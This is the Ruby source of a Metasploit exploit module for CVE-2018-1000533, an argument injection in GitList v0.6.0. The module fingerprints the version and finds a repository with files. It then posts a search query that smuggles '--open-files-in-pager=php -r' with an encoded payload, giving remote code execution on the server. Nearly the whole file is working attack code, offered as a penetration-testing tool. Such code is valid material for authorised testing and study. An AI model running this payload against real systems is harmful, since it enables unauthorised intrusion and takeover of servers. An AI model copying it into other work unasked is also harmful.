modules/exploits/multi/http/gitlist_arg_injection.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "GitList v0.6.0 Argument Injection Vulnerability",
'Description' => %q{
This module exploits an argument injection vulnerability in GitList v0.6.0.
The vulnerability arises from GitList improperly validating input using the php function
'escapeshellarg'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # EDB POC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2018-1000533' ],
[ 'EDB', '44548' ],
[ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'GitList v0.6.0', { } ]
],
'Privileged' => false,
'Payload' => { 'BadChars' => '\'' },
'DisclosureDate' => '2018-04-26',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'Default path to GitList', '/'])
])
end
def check
uri = normalize_uri(target_uri.path)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def get_repo
repo_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
if repo_res && repo_res.code == 200
repos = repo_res.body.scan(/\/([^\/]+)\/master\/rss\//).flatten
fail_with(Failure::Unreachable, "Could not retrieve any repos") if repos.empty?
return repos.detect{ |r| r if has_files?(r) }
else
fail_with(Failure::Unreachable, "Could not access GitList")
end
end
def has_files?(repo)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, repo, '/')
)
if res && res.code == 200
print_good("Successfully accessed repo #{repo}")
return false if res.body.scan(/#{repo}\/blob\/master\//).flatten.empty?
return true
else
fail_with(Failure::Unreachable, "Couldn't detect files in #{repo}'s repo")
end
end
def exploit
repo = get_repo
fail_with(Failure::Unreachable, "No files found in repos") if repo.nil?
postUri = normalize_uri(target_uri.path, repo << '/tree/c/search')
cmd = "--open-files-in-pager=php -r '#{payload.encoded}'"
send_request_cgi(
'method' => 'POST',
'uri' => postUri,
'vars_post' => { 'query' => cmd }
)
end
end